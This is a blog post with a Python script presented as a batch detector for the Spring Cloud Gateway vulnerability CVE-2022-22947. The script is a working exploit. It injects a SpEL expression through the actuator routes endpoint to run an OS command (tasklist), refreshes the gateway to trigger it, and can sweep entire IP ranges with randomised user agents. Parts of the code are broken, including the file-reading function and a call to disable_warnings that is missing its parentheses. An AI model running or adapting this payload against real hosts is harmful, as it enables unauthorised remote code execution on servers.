CVE-2022-22947

最新推荐文章于 2024-06-22 02:08:15 发布

原创最新推荐文章于 2024-06-22 02:08:15 发布 · 441 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#python

python 专栏收录该内容

2 篇文章

订阅专栏

该脚本用于检测SpringCloudGateway是否存在高危漏洞。通过发送特定请求到目标系统的`/actuator/gateway/routes`和`/actuator/gateway/refresh`端点，尝试触发潜在的安全问题。如果成功，将打印`success-----------<target>`，表明目标可能存在漏洞。此脚本适用于批量检测多个目标，支持从文件读取目标列表，并可设置代理。

Spring Cloud Gateway高危漏洞-检测脚本

import argparse
import requests,json
from IPy import IP
requests.packages.urllib3.disable_warnings


from fake_useragent import UserAgent
ua = UserAgent()
ua.update()


#定义函数检查是否有漏洞
def Ckeck_vul(target,port):
    date=json.dumps({
        "id": "test",
        "filters": [{
            "name": "AddResponseHeader",
            "args": {
                "name": "Result",
                "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"tasklist\"}).getInputStream()))}"
            }
        }],
        "uri": "https://www.baidu.com"
    })
    # proxy = '192.168.1.110:1080'
    # proxies = {
    #     "http": "http://%(proxy)s/" % {'proxy': proxy},
    #     "https": "http://%(proxy)s/" % {'proxy': proxy}
    # }
    # ip=IP(target)
    # for x in ip:
    s = requests.session()
    s.keep_alive = False
    requests.DEFAULT_RETRIES = 5
    url="http://"+target+":"+port+"/actuator/gateway/routes/test"
    # print(url)
    try:
        result1=s.post(url,date,headers={"Content-Type": "application/json","User-Agent":ua.random})
        if result1.status_code==201:
                url1 = "http://" +target+":"+port+"/actuator/gateway/refresh"
                try:
                    refreshRequest=s.post(url1,headers={'Connection': 'close',"User-Agent":ua.random})
                    # print(refreshRequest.headers)
                    # print(refreshRequest.status_code)
                    if refreshRequest.status_code==200:
                        try:
                            resuitRequest = s.get(url, headers={'Connection': 'close', "User-Agent": ua.random})
                            # print(resuitRequest.text)
                            # print(resuitRequest.status_code)
                            print("success-----------"+target)
                        except requests.exceptions.ConnectionError:
                            print("get result error")
                except requests.exceptions.ConnectionError:
                    print("refresh route error")
    except requests.exceptions.ConnectionError:
            print("connection error")


#从文件中读取目标域名
def ReadUrl(filepath):
    with open(file="filepath",mod="r",encoding='utf-8') as f:
        for url in f.readlines():
            return url

if __name__ == '__main__':
    parser=argparse.ArgumentParser()
    parser.add_argument("-t","--t",help=("目标，默认为IP段"))
    parser.add_argument("-f","--filepath",help=("域名列表文件地址"))
    parser.add_argument("-p","--port",nargs="?",type=str,help=("端口号"),default="8080")
    parser.add_argument("-i","--ip",help=("目标ip"))
    args=parser.parse_args()
    if args.ip:
        Ckeck_vul(args.ip,args.port)
    elif args.t:
        ip=IP(args.t)
        for x in ip:
            tg=x.strFullsize()
            # print(type(tg))
            # print(tg)
            Ckeck_vul(tg,args.port)
    elif args.filepath:
        tg=ReadUrl(args.filepath)
        Ckeck_vul(tg,args.port)